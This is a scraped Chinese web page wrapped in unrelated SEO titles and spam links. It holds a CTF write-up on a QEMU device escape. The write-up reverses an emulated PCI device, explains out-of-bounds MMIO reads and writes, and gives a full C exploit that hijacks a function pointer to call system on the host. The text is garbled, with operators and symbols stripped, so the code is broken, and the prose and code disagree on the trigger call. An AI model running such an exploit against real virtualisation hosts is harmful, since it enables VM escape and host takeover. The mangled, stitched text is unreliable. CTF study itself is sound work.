当前位置: 首页 > news >正文

如何优化网站怎么推广公司的网站

如何优化网站,怎么推广公司的网站,平台网站建设费用,找效果图的网站哪个好前言 虚拟机用户名#xff1a;root 无密码 设备逆向 题目去掉的符号#xff0c;经过逆向分析#xff0c;实例结构体如下#xff1a; 可以看到 arr_int_8 数组后面存在一个函数指针#xff0c;不用想基本上就是劫持该函数指针了。 denc_mmio_read 函数 这里存在越界读…前言 虚拟机用户名root 无密码 设备逆向 题目去掉的符号经过逆向分析实例结构体如下 可以看到 arr_int_8 数组后面存在一个函数指针不用想基本上就是劫持该函数指针了。 denc_mmio_read 函数 这里存在越界读在上面实例结构体中arr_int_8 数组的大小为 8而这里的下标达到了 9所以刚好可以越界读取 func 的地址。 denc_mmio_write 函数 同理这里也存在越界写并且刚好可以写到 func但是这里存在一个问题就是每次写之前都会将数据进行异或。 异或的数据 data 是在实例初始化时设置的这里设置的算法很复杂基本上不考虑去逆向。 但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的只需要让 mmio_write 的 val 等于 0 即可然后在用 mmio_read 读出来。 denc_pmio_read 函数 该函数是正常读取没有问题。  denc_pmio_write 函数 该函数写入是正常的当 addr 0x660 时会调用函数指针参数为 arr_int_8 首地址。 注意这里存在花指令 就是这个位置大家 patch 掉就行了  漏洞利用 其实就很简单了 1、利用 mmio_read 越界读泄漏 func 地址从而计算出 systemplt 地址 2、利用 mmio_write/mmio_read 泄漏异或 data 3、利用 mmio_write 越界写将 func 函数指针指向 systemplt 4、将 cmd 写入 arr_int_8 5、然后 mmio_write(0x660, 0) 触发即可 exp 如下 #include stdio.h #include stdlib.h #include stdint.h #include string.h #include fcntl.h #include sys/mman.h #include sys/io.hvoid * mmio_base; uint64_t pmio_base 0xc000;void mmio_init() {int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);printf([] mmio_base: %#p\n, mmio_base);if (mlock(mmio_base, 0x1000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE); }void pmio_init() {if (iopl(3) 0) puts([X] iopl for pmio), exit(EXIT_FAILURE); }uint32_t mmio_read(uint64_t offset) {return *(uint32_t*)(mmio_base (offset 2)); }void mmio_write(uint64_t offset, uint32_t val) {*(uint32_t*)(mmio_base (offset 2)) val; }uint32_t pmio_read(uint64_t offset) {return inl(pmio_base (offset 2)); }void pmio_write(uint64_t offset, uint64_t val) {outl(val, pmio_base offset); }int main(int argc, char** argv, char** envp) {mmio_init();pmio_init();uint64_t func_addr mmio_read(8);func_addr func_addr | (1ULL * mmio_read(9) 32);uint64_t system_plt func_addr - 0x3A9EA8 0x2CCB60;printf([] func_addr: %#p\n, func_addr);printf([] systemplt addr: %#p\n, system_plt);uint32_t data[10];for (int i 0; i 10; i){mmio_write(i, 0);data[i] mmio_read(i);printf( [] data[%d]: %#x\n, i, data[i]);}mmio_write(0, data[0]^0x6873);mmio_write(8, data[8]^(system_plt0xffffffff));mmio_write(9, data[9]^((system_plt32)0xffffffff));pmio_write(0x660, 0);puts([] End!);return 0; } 效果如下
http://www.pierceye.com/news/498560/

相关文章:

  • 产品经理做网站三河市最新消息
  • 做新闻类网站需要什么资质如何外贸seo网站建设
  • 注册网站流程和费用百度seo关键词排名s
  • 做推广网站的去哪能买到有效资料苏州建设网站找网络公司
  • vs做网站如何输出怎么做flash网站
  • 网站做政务广告传媒公司简介ppt
  • 番茄网络营销策划方案seo网站培训
  • 自己做一网站高唐网页定制
  • 快速网站seo效果什么是网络营销与概念
  • 个体网站建设企业网站做的好的有什么公司
  • 建设银行网站短信错误6次wordpress个人淘客
  • 让网站快速收录最新集团公司网站案例
  • 网站开发公司长春高校 网站建设实施方案
  • 我做的网站打开慢怎么处理防控措施有这些优化
  • 网站的登录界面是怎么做的网站开发 职位
  • 西安英文网站制作企业年报申报入口官网
  • 做一网站多少钱企业官方网站建设教程
  • 自己建的网站能用吗海南网站建设哪家好
  • 网络公司网站模板html网站制作 数据库
  • 温州哪里有网站优化南通营销网站建设
  • 怎么在网站标头做图标wordpress 远程数据库
  • 厦门做手机网站公司最新常州网页制作招聘
  • 施工企业农民工工资专项检查报告百度seo怎么把关键词优化上去
  • 圆通速递我做网站sydney wordpress
  • 做外汇有哪些正规的网站做网站只用前端知识可以吗
  • 奢侈品购物网站排名微分销手机网站制作
  • 东莞市永铭装饰有限公司优质的seo快速排名优化
  • 大型网站服务器配置西宁网站设计建设
  • 网站怎么加ico网站模板上传到那个目录
  • dede关闭网站屯留做网站哪里好